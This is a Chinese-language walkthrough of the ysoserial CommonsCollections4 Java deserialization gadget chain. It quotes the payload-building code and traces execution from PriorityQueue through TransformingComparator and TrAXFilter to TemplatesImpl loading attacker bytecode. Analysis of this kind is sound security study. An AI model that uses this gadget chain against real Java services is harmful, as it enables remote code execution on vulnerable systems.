ysoserial-cc4 java反序列化
1从入口看
前面和cc3有点像
cc3 如下:
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[] { Templates.class },
new Object[] { templatesImpl } )};
cc4如下:
ConstantTransformer constant = new ConstantTransformer(String.class);
// mock method name until armed
Class[] paramTypes = new Class[] { String.class };
Object[] args = new Object[] { "foo" };
InstantiateTransformer instantiate = new InstantiateTransformer(
paramTypes, args);
// grab defensively copied arrays
paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes");
args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs");
ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate });
位置换一下 是不是和cc3类似:
ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate });
ConstantTransformer constant = new ConstantTransformer(String.class);
Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class);
Class[] paramTypes = new Class[] { String.class };
Object[] args = new Object[] { "foo" };
InstantiateTransformer instantiate = new InstantiateTransformer(
paramTypes, args);
paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes");
args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs");
2)后面触发点:
又了使用PriorityQueue (优先级队列)
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));
queue.add(1);
queue.add(1);
// swap in values to arm
Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class);
paramTypes[0] = Templates.class;
args[0] = templates;
这样在做反序列话就是PriorityQueue 和2相同
3)
走到PriorityQueued的siftDown,这里的comparator为TransformingComparator类
private void siftDown(int k, E x) {
if (comparator != null)
siftDownUsingComparator(k, x);
else
siftDownComparable(k, x);
}
4)进入siftDownUsingComparator方法
private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0)
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}
5)compare方法,其中this.transformer为 构造的ChainedTransformer类
public int compare(I obj1, I obj2) {
O value1 = this.transformer.transform(obj1);
O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}
6)ChainedTransformer的transform
public T transform(T object) {
Transformer[] arr$ = this.iTransformers;
int len$ = arr$.length;
for(int i$ = 0; i$ < len$; ++i$) {
Transformer<? super T, ? extends T> iTransformer = arr$[i$];
object = iTransformer.transform(object);
}
return object;
}
7)首先走到ConstantTransformer的transform,此时constantToReturn 为
之前的 Reflections.setFieldValue(constant, “iConstant”, TrAXFilter.class);
就是TrAXFilter类。
public ConstantTransformer(O constantToReturn) {
this.iConstant = constantToReturn;
}
public O transform(I input) {
return this.iConstant;
}
8)返回TrAXFilter类,接着调用InstantiateTransformer的transform方法,input就是TrAXFilter类
public T transform(Class<? extends T> input) {
try {
if (input == null) {
throw new FunctorException("InstantiateTransformer: Input object was not an instanceof Class, it was a null object");
} else {
Constructor<? extends T> con = input.getConstructor(this.iParamTypes);
return con.newInstance(this.iArgs);
}
根据前面反射赋值
paramTypes[0] = Templates.class;
args[0] = templates;
会走到TrAXFilter构造方法
public TrAXFilter(Templates templates) throws
TransformerConfigurationException
{
_templates = templates;
_transformer = (TransformerImpl) templates.newTransformer();
_transformerHandler = new TransformerHandlerImpl(_transformer);
_useServicesMechanism = _transformer.useServicesMechnism();
}
9)关键一步
_transformer = (TransformerImpl) templates.newTransformer();
templates的newTransformer方法
templates为第一步构造的恶意类
TemplatesImpl的newTransformer方法
public synchronized Transformer newTransformer()
throws TransformerConfigurationException
{
TransformerImpl transformer;
transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);
if (_uriResolver != null) {
transformer.setURIResolver(_uriResolver);
}
if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
transformer.setSecureProcessing(true);
}
return transformer;
}
进入getTransletInstance方法
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;
if (_class == null) defineTransletClasses();
...
defineTransletClasses方法
private void defineTransletClasses()
throws TransformerConfigurationException {
if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}
TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader());
}
});
try {
final int classCount = _bytecodes.length;
_class = new Class[classCount];
if (classCount > 1) {
_auxClasses = new Hashtable();
}
for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();
...
_bytecodes恶意字节被load